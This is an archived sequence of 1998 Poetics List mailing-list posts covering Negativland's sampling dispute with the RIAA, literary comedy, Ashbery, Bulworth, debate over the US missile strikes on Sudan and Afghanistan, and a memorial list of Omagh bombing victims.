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526. **r. drake**
Re: Postmodern Piracy Festival /Call for Participants
Mon 24 Aug 1998

---

folks interested in plagerism may have already seen this, but...

> *FOR IMMEDIATE RELEASE*
>
> *NEGATIVLAND STOPPED DEAD (see also*
> *http://www.negativland.com/riaa/index.html)*
> *Contacts: mailto:[redacted] (Mark Hosler, Negativland)*
> *mailto:[redacted] (Hilary Rosen, President and CEO,*
> *Recording Industry Assocation of America)*
> *mailto:[redacted] (Ray Thomas, RTMARK)*
>
> *The career of recording artists Negativland may be over.*
>
> *Negativland's CD plant has told the group that it will no longer manufacture their CDs, and Negativland has so far been unable to find another factory willing to do so. The reason, according to Mark Hosler of Negativland, is the RIAA's recent guidelines to compact disk pressing plants, which inform the plants that they risk huge lawsuits if they manufacture CDs with even one uncleared sample.*
>
> *Negativland uses uncleared samples extensively, and consider this to be*

Fair Use under the 1976 U.S. Copyright Act. Still, the group has had to establish their own label because other labels consider Negativland music too legally risky to distribute. With this new offensive by the RIAA, CD factories feel they cannot afford the risk either, which effectively silences Negativland.

Many bands besides Negativland--including Beck, Beastie Boys, Public Enemy, Nine Inch Nails, etc.--routinely use uncleared samples, but only Negativland, Illegal Art (which with RTMARK's help produced Deconstructing Beck), and a few others do so openly, and as an essential part of their esthetic.

According to Ray Thomas of RTMARK, whose Intellectual Property mutual fund (http://rtmark.com/projectlist.html) is managed by Negativland, "The industry saw how much bad publicity Geffen and BMG suffered for trying--unsuccessfully--to clamp down on Deconstructing Beck. They realized public opinion would not let them get away with such high-handed tactics, so now they're cleverly targeting production, which has a much lower public profile than distribution, but is even more important. The RIAA is putting CD manufacturers in the position of policing what is and is not acceptable art, and is thus very effectively practicing censorship."

The problem is a fundamental misunderstanding of copyright law, according to Thomas. "The music industry says copyright law protects artists. But copyright law as applied to samples serves only to protect corporate money. As the recording industry forces this issue to a head, we hope that the facts will finally become clear, and that the groundwork will be laid to change copyright law so that it benefits artists and consumers, not corporations and capital."

Negativland's full press release, including e-mail addresses of many RIAA employees, as well as a response by Hilary Rosen, President and CEO of the RIAA, can be found at http://www.negativland.com/riaa/index.html.

RTMARK was established in 1991 to further anti-corporate activism, in some cases by channelling funds from donors to workers for sabotage of corporate products. Recent and upcoming acts of RTMARK-aided subversion are documented on RTMARK's web site, http://rtmark.com/.

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↑ Index

527. **David Baratier**
Elena Garro
Mon 24 Aug 1998

Mexico mourned writer and journalist Elena Garro Sunday, one of the pillars of its literary world,
who died Saturday at age 78 after suffering a heart attack. They will bury Garro, the first wife of
the late Mexican Nobel Prize winner Octavio Paz, in the city of Cuernavaca. Paz died last April.
Uno mas Uno newspaper called Garro "a pillar of Mexican literature," while other newspapers
published long extracts of her best-known work, "Memories of the Future" (Los Recuerdos del
Porvenir). She married Paz in 1937 and the couple divorced almost 30 years later. A vocal
champion of social justice, Garo spent more than 20 years living in exile in Paris after harshly
slamming the 1968 massacre of 300 student demonstrators by Mexican troops.

↑ Index

528. **David Baratier**
Re: Poetry On-line, a request
Mon 24 Aug 1998

Check out the brand new Poet's & Writers. Perhaps you can use it for class, they have a decent crossection of sites listed.

Be well

David Baratier

↑ Index

529. **groberts**
Re: Comedy
Mon 24 Aug 1998

I recently found a used copy of an out-of-print essay/monograph on Laurel and Hardy, by Charles Barr. His sketches of the great silents that they made from 1928-1932 gave me a new appreciation for their acting and the sophistication (if that is not too grandiose a word) of their jokes. The narrative structures of their violent gags and the timing of their moves back and forth between anarchic and normative behavior represent the culmination of this historical form.

The inability of Stan and Ollie to maintain an adult role or to act for very long out of any motivations but selfishness or tit-for-tat revenge makes for a useful counterpoint to the more sentimental aspects of Chaplin. If you have enough time or resources to include them in any treatment of the silent comedy, you might show a couple of their shorts (starting with Putting Pants on Phillip).

Gary R.

↑ Index

530. Poetics List
Re: Bullworth
Mon 24 Aug 1998

Further to the proposed (by me) canonization, by the Poetics community, of Mr. Warren Beatty, the information about his help in smuggling manuscripts out of a formerly overly politicized police state known at the time as the Soviet Union (do you remember it?) is on p. lviii of the "Compiler's Introduction" (under the heading "Warren Beatty, the Crocodile 'Diplomat'") of Yevtushenko's Twentieth Century Russian Poetry: Silver and Steel (New York: Doubleday, 1993). Worth a look to be sure. Big book. 1000 pages, and still with a strongly subversive tone throughout. Also particularly worth a look is the previous section, entitled "And What If Governments Were Run by Poets?" (p. lvi). Amiri ("Be a spirit, not a ghost") Baraka does not get a mention, since Bullworth hadn't appeared at the time. Y.B.Nasty Department of Emotional Engineering Soma University "She cleans her ears with drops in the market." - Victor Coleman, Waiting for Alice.

↑ Index

531. Magdalena Zurawski
Help!
Mon 24 Aug 1998

Help! Who can (in the next ten minutes) give me the name of the Canadian poet who did all his poems in Kling-On at the Boston Conference in July? And what was the name of the lady poet who Doug and I both liked and gave that odd speech on O'Hara?

Help, Help??

Maggie

↑ Index

532. Elizabeth Treadwell
bullworth
Mon 24 Aug 1998

I think it was Mike Magee who didn't like me insulting poor old Warren Beatty. I think he'll survive, and what are stars for?? As for assuming Beatty didn't want to listen to my executive friend, all I can say is the feeling I got from HER is that she couldn't really say what she thought to him BECAUSE OF THE POWER DYNAMICS OF THE SITUATION, thus, in my reading, there was no way for him to really listen or for her to really speak.

I refuse to be so happy about a movie-that-makes-me-or-those-less-"smart"-than-me think when its so PROBLEMATIC!! I'd rather see a well done movie about not much at all than a mediocre "thoughtful" one.

Honestly, Katie John!

Elizabeth Treadwell

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

533. John Latta
Query
Mon 24 Aug 1998

Seeking an e-mail address for Kevin Opstedal. Please backchannel. Thanks.

John Latta

↑ Index

534. David W. McFadden
Re: comedy
Mon 24 Aug 1998

[redacted] writes:
>Ever notice how the accusation of "humorlessness" is hurled to discredit
>a) feminism
Yes, obviously, numerous times,
> b) the left
ditto,

>c) anything the accuser doesn't like?
constantly
>I've even
>heard it in respect to Language poetry, in which I find much humor.
So do all other honest, independent, careful readers.
>comedy is perspectival, a lot of this depends on one's perspective,
>obviously. I don't find most "humorists" very amusing for example...
Nobody does, they try too hard.
All this having been said, there is in fact very little humour, except for the bare bones of bitter irony, in , say, Margaret Atwood and Doris Lessing whom I've been checking out lately, and nobody here wants to "discredit" feminism.
More importantly, for me at any rate, I still fail to find any humour in Don DeLillo. He has been mentioned as a comic author but in the two of his I've read - Libra and The Names - there are about as many smiles, ironic twists, anything of that sort, as there would be, presumably, sunbathers at the South Pole. Can somebody give me a title and page number where an example of his humour can be found?
dwm
"Say what you like, the English are the only people who know how to bring up children, I don't care if that's insular."
- Doris Lessing. A Man and Two Women (1963).

↑ Index

535. **Katherine Lederer**
Re: Susan Gevirtz
Mon 24 Aug 1998

Does anyone have Susan Gevirtz' mailing address? I had something returned to sender... because I was missing the APARTMENT NUMBER.

Thanks,
Katy

↑ Index

536. **groberts**
Re: Comedy
Mon 24 Aug 1998

P.S. to my post on Laurel and Hardy:

For what it's worth, Ashbery borrows the title of one their films, "Laughing Gravy," for a poem published in Wakefulness. I have no idea if the phrase has any other significance....

Gary R.

↑ Index

537. **Gwyn McVay**
Re: Comedy
Mon 24 Aug 1998

Yeah, it's the nom de clown of Hugh Romney's younger brother.

[redacted] wrote:
>
> P.S. to my post on Laurel and Hardy:
>
> For what it's worth, Ashbery borrows the title of one their films,
> "Laughing Gravy," for a poem published in Wakefulness. I have no idea
> if the phrase has any other significance....
>
> Gary R.

↑ Index

538. **k.a. hehir**
Re: Help!
Mon 24 Aug 1998

On Mon, 24 Aug 1998, Magdalena Zurawski wrote:

> *Help! Who can (in the next ten minutes) give me the name of the Canadian poet who did all his poems in Kling-On at the Boston Conference in July?*

Darren Wershler-Henry is the klingon guy. check out his nicholodeon on coach house.

kevin

|----------| | And the near future when I'll shut up again, | | utterly baffled by these poems.
	Jacques Roubaud

↑ Index

539. **Ryan Whyte**
request
Mon 24 Aug 1998

I know Christian Bok does Klingon poems - invented 'Klingon' in fact, and I think he was at that conference --

Ryan

Aporia
504 Queen Street East
Toronto, Ontario, Canada M5A 1V2

↑ Index

540. **Ryan Whyte**
(no subject)
Mon 24 Aug 1998

---

actually I could be wrong about his inventing Klingon, but I seem to rememerb this when he read at Canzine 97

↑ Index

541. **Jacques Debrot**
Re: Ashbery, Talisman anthology, etc.
Mon 24 Aug 1998

It's not at all surprising, is it, that one mode of Ashbery's writing -- the mode of _The Double Dream of Spring_ for example -- is so well assimilated that the _New Criterion_ reviews it positively. The tone of complaint hinted at in the same review about the repetitiveness of A's recent work is overstated, perhaps, but not entirely inaccurate, particularly given Ashbery's extraordinary refusal, early in his career, to fetishize any single continuous, or essential, style. In this phase of his work, in fact, each of his books appears to develop out of a susceptibility, or desire for self- estrangement. This is evident particularly in _The Tennis Court Oath_ where the closeting of homosexual content mirrors Ashbery's suppression of the "voice" that in his previous collection, _Some Trees_, he says came naturally to him. Similarly, as Shoptaw points out, _Three Poems_ can be read as effacing the "densely meditative" _Double Dream of Spring_, _Flow Chart_,its predecesor _April Galleons_, and so on.

However it *is* revealing to discover that what remains unassimilated by mainstream poetics in Ashbery's work -- those lines that the _NC_ found "dreadful" -- should resemble that element in O'Hara's work -- the surrealist O'Hara of "2nd Avenue" for example -- which many critics in their review of the recent Gooch bio, seemed to slam.

To oversimplify, these 2 elements: 1. O'Hara's "unacceptable" poems -- including both the wilder surrealism of "2nd Av", "Easter", etc. & also, formally eccentric poems like "Biotherm" from which developed so much of the work of the 2nd generation New York School -- & 2. Ashbery's meditative mode -- though in this case closer perhaps to _A Wave_ & _Flow Chart_ than to _DDS_ -- seem to

polarize (too strong a word?) the recent _Talisman_ _Anthology of New Am Poets_. (Which is not even to mention the excluded third term -- that is, with the exception, arguably, of Rod Smith -- those poets most *strongly* influenced by LangPo (Fitterman, Neilson, Brian Kim Stefans, etc.). The _NC_ article seems in any case to point out, or at any rate to suggest, the difficulties involved in "imitating" the Ashberyian mode (in the _Talisman_ anthology, a mode practiced for instance by Beth Anderson, Chris Stroffolino, & Susan Schultz most obviously). More interesting to me (admittedly a subjective response) is what strikes me as the *less acceptable* work (from the point of view of the mainstream) descending from O'Hara -- Jordan Davis, Bill Luoma, Mary Burger, Lee Ann Brown, etc. This work also seems to more readily assimilate a wider range of New Am poetries -- the Beats especially -- while being capacious enough to incorporate the extreme disjunctiveness of the most experimental Language texts. If LangPo can be compared to Conceptual art (with which it is roughly contemporay) in somehow problematizing the category "literature," (making it in a way "impossible," in its aftermath, to write poems, in the same way that it is said to be "impossible" to paint after Smithson) then the Neo_Expressionist's have as counterparts -- in their rejection of this "impossibility" -- the kind of maximalist poetics practiced by Tan Lin, the 2 Davis' (both Jordan & Tim), Luoma, etc.

Would be curious to see how others see this.

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542. **Pritchett,Patrick**

Re: bullworth

Mon 24 Aug 1998

Having worked for a time for Jim Cameron and as a development exec & staffer for others in the biz, I can assure you that the power dynamics Elizabeth refers to operate without respect to gender and are less likely to change than the laws of gravity. So Elizabeth, your friend is either naive about how the business works, or wonderfully idealistic. Even when it seems like your unvarnished opinion is being solicited in earnest, the fact is that the membrane is always less porous than it appears to be. And because directors and stars are bouyed by the most extraordinary vanity, which insulates and separates them from the world the rest of us dwell in, you never know when your honest opinion is going to come back and tear a gaping chunk out of your ass. This is why the whole industry is mired in mediocrity - because everyone's afraid to say what they really think. With the bottom line being CYA, it's amazing anything at all gets done. For Beatty to have arm-twisted Fox into making_Bulworth_ is something of a minor miracle then, even for all its flaws.

Patrick Pritchett

From: Elizabeth Treadwell
To: [redacted]
Subject: bullworth
Date: Monday, August 24, 1998 12:56PM

I think it was Mike Magee who didn't like me insulting poor old Warren Beatty. I think he'll survive, and what are stars for?? As for assuming Beatty didn't want to listen to my executive friend, all I can say is the feeling I got from HER is that she couldn't really say what she thought to him BECAUSE OF THE POWER DYNAMICS OF THE SITUATION, thus, in my reading, there was no way for him to really listen or for her to really speak.

I refuse to be so happy about a movie-that-makes-me-or-those-less-"smart"-than-me think when its so PROBLEMATIC!! I'd rather see a well done movie about not much at all than a mediocre "thoughtful" one.

Honestly, Katie John!

Elizabeth Treadwell

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

543. miekal and
in case ewe wur wundering
Mon 24 Aug 1998

---

my harddrive died on july 26 & Ive just gotten back on line now. nothing internet wise was backed up & I have lost all email addresses, letters folks have written me & all bookmarks. if youve been trying to get ahold of me, & am reconfigured in the cyberrealm....

the moral is backing up is a good thing backing up is a good thing backing up is a good thing backing up is a good thing backing up is a good thing ....

miekal

↑ Index

544. **Scott Pound**
Re: Help!
Mon 24 Aug 1998

> *Help! Who can (in the next ten minutes) give me the name of the Canadian poet who did all his poems in Kling-On at the Boston Conference in July? And what was the name of the lady poet who Doug and I both liked and gave that odd speech on O'Hara?*
>
> *Help, Help??*
>
> *Maggie*

The poet's name is Darren Wershler-Henry, but he only read one poem is Kling-on, the rest were in English.

↑ Index

545. **KENT JOHNSON**
Funny
Mon 24 Aug 1998

Funny, how in the past 48 plus hours since the U.S. techno state-terrorist action (sure to inflame spiralling violence that will claim thousands) there has been one single post about it (from Dan Bouchard, hurrah) and a poem by Alan Sondheim, hurrah) and many, many posts in quite rapid succession (more urgently forthcoming, no doubt) about Comedy.

This on what is (who can contest it?) the largest single gathering of "oppositional" poets and critics in the history of U.S. poetry. (Isn't that really wonderful when you dare to think about it? And here you are!)

I wonder if any Sudanese were reading Kenneth Koch when the cruises hit?

Ha, Ha, isn't that fucking funny?

Wag the Finger,

Kent

↑ Index

546. **Karen and Trevor**
mike magee
Mon 24 Aug 1998

Apologies all around...

...but, Mike, Fourteen Hills does have your work under consideration.

Karen McKevitt

↑ Index

547. **Tosh**
Re: Funny
Mon 24 Aug 1998

Comedy is a serious business

Tosh Berman
TamTam Books

↑ Index

548. **David W. McFadden**
Re: Comedy
Mon 24 Aug 1998

---

1. Only the most serious artists can be really funny.
2. The short story is the ideal form for literary humour, possibly.
3. Dorothy Parker is grossly overrated as a comic writer.
4. Colette is somewhat overrated as a comic writer.
5. There are some absolutely head-spinningly hilarious stories in Flannery O'Connor's sadly brief oeuvre.
6. Some of the funniest writing of all time can be found in The Complete Stories of I. B. Singer, especially since you're looking for "Americans."
dwm
"Are you a German?" Karl asked to reassure himself further, for he had heard a great deal about the perils which threatened newcomers to America, particularly from the Irish.
- Kafka, Amerika.

↑ Index

549. **David W. McFadden**
Fwd: Regeneration
Mon 24 Aug 1998

Allow me to recommend the new film Regeneration, with fascinating portrayals of World War I poets Siegfried Sassoon, who survived the fighting, and Wilfred Owen, who didn't. It's a painfully thoughtful anti-war film, realistic and never jingoistic. Beware the eyeball scene. dwm "For some people, when you say 'Timbuktu' it is like the end of the world, but that is not true. I am from Timbuktu, and I can tell you we are right at the heart of the world." - Ali Farka Toure.

↑ Index

550. **Mark Weiss**
Re: Funny
Mon 24 Aug 1998

There's a great deal that hasn't been mentioned in the last 48 hours--did you know that an appeals court has nixed sampling as a census tool, dimming once again the chances for any real representation (I wouldn't hold my breath waiting for a reversal)? But, except in the sense that poetry has no borders, I'm not sure how relevant this is to the reasons that most members of this list have gathered here. I'm also less sure that I have a position on the bombings than I would once have been. In principle I'm against firing missiles and very aware of the damage our unchallenged dominance does and threatens to do. But the two bombs in Africa wounded some 5000, most by any definition innocent even in the eyes of the bomb-makers. One can question the efficacy of the US counter-strike, but the principle of retaliation to limit future such events is hard to argue with. I mean, that's a lost of maimed or dead who have inner lives as rich as my own--real people. Nor does world hegemony give the US a monopoly on brutality. The Sudanese government, case in point, has over half a million notches on its belt. In this case I frankly have no idea what I would do if I were king. So, now you've had a post.

At 07:28 PM 8/24/98 -0500, you wrote:
>Funny, how in the past 48 plus hours since the U.S. techno
>state-terrorist action (sure to inflame spiralling violence that will
>claim thousands) there has been one single post about it (from Dan
>Bouchard, hurrah) and a poem by Alan Sondheim, hurrah) and many, many
>posts in quite rapid succession (more urgently forthcoming, no doubt)
>about Comedy.
>
>This on what is (who can contest it?) the largest single gathering of
>"oppositional" poets and critics in the history of U.S. poetry.
>(Isn't that really wonderful when you dare to think about it? And
>here you are!)
>
>I wonder if any Sudanese were reading Kenneth Koch when the cruises
>hit?
>
>Ha, Ha, isn't that fucking funny?
>
>Wag the Finger,
>

>Kent
>
>

↑ Index

551. **Ron Silliman**
The Age of Experience
Mon 24 Aug 1998

Kent is right of course. In this age of manufactured consent and spectacular (literally) politics, the rapid demonization of Osama bin Laden in the weeks prior to the bombings should have been a telling signal that we were setting up a post-Hussein, post-Khomeini, post-Kaddafi enemy to go after. He has an advantage in that involves going to war with no state as such -- just the unilateral bombing of "terrorist sites."

None of this is to say that the bombings in Nairobi & Dar were not utterly real & horrible, but anyone who has watched the Irish situation for all these decades (or Vietnam or Algeria in the late 1950s) could tell you that military offenses against terrorism basically NEVER work. What makes bombing politically permissable and, say, the use of such weaponry against various IRA irregulars "unacceptable" has everything to do with the skin tone and religion of the recipients of our cruise missile services.

That some of the sites in Afghanistan that were targeted were built with US money tells you something about the brilliance with which our foreign policy has been conducted.

And -- answer me this -- if the same group of people who could not tell that India was about to detonate nuclear weapons were to tell you that they had "irrefutable" (or even just "compelling") evidence as to the guilt of the bin Laden organization, how inclined would you be to believe them?

I've noticed that the refutation of the idea that this was motivated by domestic politics has been based almost entirely on the idea that the plan was concocted 10 days in advance of the bombing, i.e., before the Monica speech (debacle that it was). But, hey, everyone knew Clinton was going to testify that Monday well in advance of that -- so that is one explanation that doesn't hold a lot o' water.

I'm afraid that all we have done is to ratchet up the cycle of violence one more ugly twist.

Ron Silliman
[redacted]

Do NOT respond
to the [redacted] address.
It is for listserv use only.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

552. **Michael Magee**
not-so-funny
Mon 24 Aug 1998

I just saw, compliments of VH1, Cher and the Osman brothers singing a medley of Stevie Wonder songs dressed in in American flag outfits. Now, that is *not* funny! -m.

↑ Index

553. **Mark Weiss**
Re: The Age of Experience
Mon 24 Aug 1998

I'm not sure, Ron, that you or Kent are wrong, "of course," not having a claim to your omniscience. I'm content to wait and see before coming to judgment. As to the domestic motivation, it's hard to imagine that the missiles will deflect Hillary's anger. It's also hard to imagine, if there was to be a raid at all, what conceivable timing would have changed your judgment. Before the speech? A month after? That being said, I have no doubt that Clinton hoped that draping himself with the presidential mantle would help him, whether or not that hope was a sufficient motivation. Are you saying that for the sake of even-handedness we should have fired missiles at Ireland? Of course, neither the Orange League nor the IRA have attacked US installations, as far as I can remember.

At 07:13 PM 8/24/98 PDT, you wrote:
>Kent is right of course. In this age of manufactured consent and
>spectacular (literally) politics, the rapid demonization of Osama bin
>Laden in the weeks prior to the bombings should have been a telling
>signal that we were setting up a post-Hussein, post-Khomeini,
>post-Kaddafi enemy to go after. He has an advantage in that involves
>going to war with no state as such -- just the unilateral bombing of
>"terrorist sites."
>
>None of this is to say that the bombings in Nairobi & Dar were not
>utterly real & horrible, but anyone who has watched the Irish situation
>for all these decades (or Vietnam or Algeria in the late 1950s) could

>tell you that military offenses against terrorism basically NEVER work.
>What makes bombing politically permissable and, say, the use of such
>weaponry against various IRA irregulars "unacceptable" has everything to
>do with the skin tone and religion of the recipients of our cruise
>missile services.
>
>That some of the sites in Afghanistan that were targeted were built with
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>
>And -- answer me this -- if the same group of people who could not tell
>that India was about to detonate nuclear weapons were to tell you that
>they had "irrefutable" (or even just "compelling") evidence as to the
>guilt of the bin Laden organization, how inclined would you be to
>believe them?
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>I've noticed that the refutation of the idea that this was motivated by
>domestic politics has been based almost entirely on the idea that the
>plan was concocted 10 days in advance of the bombing, i.e., before the
>Monica speech (debacle that it was). But, hey, everyone knew Clinton was
>going to testify that Monday well in advance of that -- so that is one
>explanation that doesn't hold a lot o' water.
>
>I'm afraid that all we have done is to ratchet up the cycle of violence
>one more ugly twist.
>
>Ron Silliman
>[redacted]
>[redacted]
>
>Do NOT respond
>to the [redacted] address.
>It is for listserv use only.
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

↑ Index

554. Thomas Bell
Re: Poetry On-line, a request
Mon 24 Aug 1998

Bob,
I am in the process of reving all of my sites but for now there are things at:
http://members.tripod.com/~trbell/
http://www.geocities.com/Athens/Olympus/2562/
http://www.public.usit.net/trbell/

I also have amassed a collection of others' sites as I have started reviewing them for a journal. If you would like I'll make a copy for you.

tom bell

Bob Grotjohn wrote:
>
> I want my intro poetry students to explore on-line poetry mixing images
> and words. I had been saving all list messages with addresses of such
> sites, but when our computer people upgraded my machine, all the
> messages disappeared. I will appreciate it if list members could take a
> moment to send me addresses for their own sites or their favorite
> other-poet's sites. I have looked through some stuff at the EPC web
> site and now am asking for recommendations. I suppose back-channel
> would keep the list from getting cluttered. Thanks in advance to those
> who help me out.

↑ Index

555. Karen Kelley
Re: ahsbery review
Mon 24 Aug 1998

> *He reminds us that most poets who give us meaning don't know what they're talking about.*

Great quote!

I love Ashbery--always have, always will. And not because he excites me with his language (though I think he's masterful at what he does--sort of like Updike is) but because I find him so humorous.

↑ Index

556. **Rodrigo Toscano**
Re: funny
Mon 24 Aug 1998

Most people that I dealt with at work the other day --- from clients to fellow workers (I work as a social worker here in San Francisco) said something to this effect:

"we bombed...we bombed seven sites..."

...now...

how might that might be changed to (for starters)

"The U.S. military bombed someone"

Or

"We bombed, what the hell is going on anyway?... Media seems to be reading the State Department's script again..."

Or any similar (at this point/given where we're at -- revolutionary) leap...away from the (scheissekopf) "we bombed"

-- is a rather daunting -- though already in-progress (historical) "to-do"...

see you at
(very near)
the bottom of the hill...

*

B.Y.O.P (oems)

*

(The State's necessary mass right-populist base nothwithstanding)

Rodrigo Toscano

Kent Johnson wrote:

"Funny, how in the past 48 plus hours since the U.S. techno state-terrorist action (sure to inflame spiralling violence that will claim thousands) there has been one single post about it (from Dan Bouchard, hurrah) and a poem by Alan Sondheim, hurrah) and many, many posts in quite rapid succession (more urgently forthcoming, no doubt) about Comedy.

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I wonder if any Sudanese were reading Kenneth Koch when the cruises hit?

Ha, Ha, isn't that fucking funny?

Wag the Finger,

Kent"

↑ Index

557. Ron Silliman
Re: The Age of Experience
Mon 24 Aug 1998

Come on, Mark,

What I'm saying is that things don't happen out of context and that history already has announced how this shit turns out. Badly.

"I'm not sure, Ron, that you or Kent are wrong, "of course," not having a claim to your omniscience. I'm content to wait and see before coming to judgment.... It's also hard to imagine, if there was to be a raid at all, what conceivable timing would have changed your judgment... Are you saying that for the sake of even-handedness we should have fired missiles at Ireland? Of course, neither the Orange League nor the IRA have attacked US installations, as far as I can remember."

Ron Silliman
[redacted]

Do NOT respond to the [redacted] address.
It is for listservs only.

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

558. Hilton Manfred Obenzinger
Re: Comedy
Mon 24 Aug 1998

Dear List Folks,

Thank you for all the suggestions on comic material, which were rich and thoughtful, and I hope more suggestions come in. Clearly, there is a lot of material out there which I had not been previously aware of. Certainly, the comic has become an increasingly complex presence in literature, poetry in particular. Consider Emily Dickinson or Anselm Hollo (as Ron S suggested) or Antler or. . . I believe there's room for a lot more theoretical consideration of what

consitutes the comic and why it has become so prevalent and so important, particularly (but not exclusively) in poetry. Survival is at stake. Yes, to say someone is "humorless" has been used as an attack -- particularly on feminists and others who advocate change -- "Aw, can't you take a joke?" -- as part of the phony "political correctness" slander many like to bander about. However, it is important to joke and to laugh at ourselves -- and if anyone has to explain why perhaps it is not worth the attempt.

As for this moment of bombs and (again) American aggression and blindness in the Middle East, those of us who are outraged at the US's arrogance had better laugh as well. I have spent 30 years acting and writing against US and Israeli policies in the Middle East -- and the latest outrage is just that: the latest. One of the funniest people I ever met was the late Tawfiq Zayyad. A wonderful poet, Tawfiq was the communist mayor (from a muslim background) of Jesus's hometown Nazareth and a member of the Israeli Knesset. I visited him once on a fact-finding tour with Gus Newport, former mayor of Berkeley, and as we ate and tossed off one arak after another he told us of how he had to vote in the knesset on the "Who is a Jew" question: here was the communist muslim from Jesusville voting as an Israeli citizen in the Israei parliament on whether or not someone could be deemed a Jew in order to have the right to dispossess his own people. An absurdity so magnificent, so delicious, that we all roared with laughter. Tawfiq loved to laugh -- and the fact that he was killed in typical Israeli fashion (a headon collision while driving back from Hebron after trying to negotiate one more inch of Israeli withdrawal) is simply one more bitter joke on the par of those in Emile Habibi's "The Pessoptimist" (who ended up winning the Israel Prize to the outrage of the rightwing).

Now, with 75 percent of the American people approving the bombings and many of the rest probably confused (after all, the people who set the bombs in Africa are strangely twisted), anyone who counters the present whammy had better laugh. What happened is the result of years of US policies -- of backing the reactionary Saudi and Kuwaiti ruling families, of never putting serious pressure on Israel to stop its colonialist assault on the Palestinians, of undermining all forms of secular Arab nationalism so that the choice is either its empty shell (such as Saddam Hussein) or politicized Islam or defeat. . . I could go on.

So, as was already said, laughter is serious business.

Again, thanks for all the help.

↑ Index

559. Jordan Davis
skateboarding into Bonnie
Mon 24 Aug 1998

Kent,

More alarming even than the meteor that will destroy us (At Blockbuster Now! Guaranteed!) is Madeline Albright's explanation that we have entered the phase of the "war of the future" in which the imperial forces pursue an organization funded by renegade financiers exploding bombs in public places. Think she'd ever think the imperial forces are mainly renegade financiers? or that terrorism is not diplomacy?

Problem for the day: If everybody's only bought off, how to buy them back without buying in (selling out).

Jordan

↑ Index

560. k.a. hehir
terrorism like comedy is not pretty
Tue 25 Aug 1998

I think we can all agree that any one can make a body laugh. not everone can make people cry. this made me cry at my desk today.

with the mention of northern ireland on this list i thought i would share some facts to cool down the theorizing on violence.

kevin

THE VICTIMS

- Avril Monaghan (30) and her 18-month-old daughter Maura, from Augher, Co. Tyrone. Avril was the mother of three other children under the age of six and was expecting twins within two months. Her mother Mary Grimes, nee Ahern (65), also died. She was a native of Kanturk, Co. Cork, who, with her Omagh-born husband, had lived in Beragh for the past 35 years. Maura and Avril Monaghan were the first of the victims to be buried. Dr Joseph Duffy, Bishop of Clogher, was the chief concelebrant at the Requiem Mass on Tuesday. Mrs Grimes, the mother of two girls and ten boys, was buried at Beragh on Wednesday. The chief concelebrant on this occasion was the Archbishop of Armagh Dr Sean Brady.

- Oran Doherty (8), Sean McLaughlin (12) and James Barker (12) from Buncrana, Co. Donegal, had joined their Spanish friends on the day out to the Ulster-American Folk park. The Barker family came from England about a year

ago in the expectation that they would find a better life in Ireland. Among the congregation at the funeral on Wednesday were President McAleese, the North's First Minister David Trimble, his deputy Seamus Mallon and Minister for Public Enterprise Mary O'Rourke. The Bishop of Derry Dr Seamus Hegarty had a special welcome for Mr Trimble, and the congregation broke into loud applause when Dr Hegarty wished him well in his endeavours in the new assembly. The Spanish victims of the tragedy were remembered throughout the ceremony. Oran Doherty apparently dreamed of the day when he would visit Glasgow to see his beloved Celtic. Instead his coffin was draped with an official Celtic flag and four members of the club, including Danish international Marc Reiper and youth coach Willie McStay, travelled to Buncrana for his funeral.

- Fernando Blasco Baselga (12) and his tutor Rocio Abad Ramos (24), both from Madrid, were on a language exchange programme with families in Buncrana. They became the first people from outside these islands to die in the North in 30 years of violence. Fernando's father was injured in an ETA bombing in Madrid in 1993. Rocio was on her fifth trip to Buncrana and was the group leader. The remains of the two Spaniards arrived back in Spain in the early hours of Tuesday and thousands paid their respects before the funeral services later in the day.

- Breda Devine (21 months), was from Donemana. Her mother Tracey, her uncle Gary McGillion and his fiancee, Donna Marie Keyes, are being treated for serious injuries in the Royal Victoria Hospital. Breda was buried from the church at Aughabrack where we had the poignant scene of her father Paul carrying her little white coffin.

- Fred White (60) and his son Brian (27), of Omagh, were together when they died. Fred was an officer of the Ulster Unionist Party. Both were keen gardeners and Brian was due to start a new job as a horticulturist with Omagh Council on Monday. The family originally came from outside the town and the funeral cortege travelled the four miles to the little Presbyterian Church at Creevan with which the Whites maintained their association. The Moderator of the Presbyterian Church addressed the congregation and David Trimble managed to attend this funeral also. As with all the other funerals there wasn't room inside the church for all those who wished to attend and the majority of the mourners had to remain outside.

- Esther Gibson (36), Beragh, was due to get married next year and was to be bridesmaid at her sister's wedding next month. A day earlier she and her fiance Kenneth Hawkes had a formal photograph taken to mark their engagement. Esther was a Sunday school teacher and the niece of DUP Assembly

member Oliver Gibson. The Rev. Ian Paisley officiated at her funeral in the Free Presbyterian Church at Sixmilecross.

- Julia Hughes (21), of Omagh, a student at Dundee University, was home on holiday for the summer and had found temporary work in the photographic shop in which she died. At her funeral on Thursday the President of Methodist Church broke down as he tried to offer words of comfort to her father Alec, whom he had met in his youth, "when faith was easy and life untroubled".

- Adrian Gallagher (21), of Omagh, who had already established his own car body repair business, had gone into town with a friend to buy some clothes. His uncle Hugh Gallagher was shot dead by the IRA in 1984. Adrian, an only son, was buried from St Mary's Church, Knockmoyle. Local clergymen from the Church of Ireland and the Presbyterian church addressed the congregation, as did Auxiliary Bishop of Derry Francis Lagan.

- Lorraine Wilson (15) and her friend Samantha McFarland (17), both from Omagh, worked together as volunteers in the Oxfam shop from which they were evacuated and sent off in the direction of the bomb. The Church of Ireland Bishop of Derry and Raphoe, Dr James Mehaffey, joined a local minister for a private service in the home which Lorraine shared with her parents, two sisters and a brother, before her remains were taken to Cappagh churchyard. Samantha was buried from Lislimnaghan Parish Church at Mountjoy on Thursday. Her brother addressed the congregation and spoke of her love of music and horses and her desire to travel.

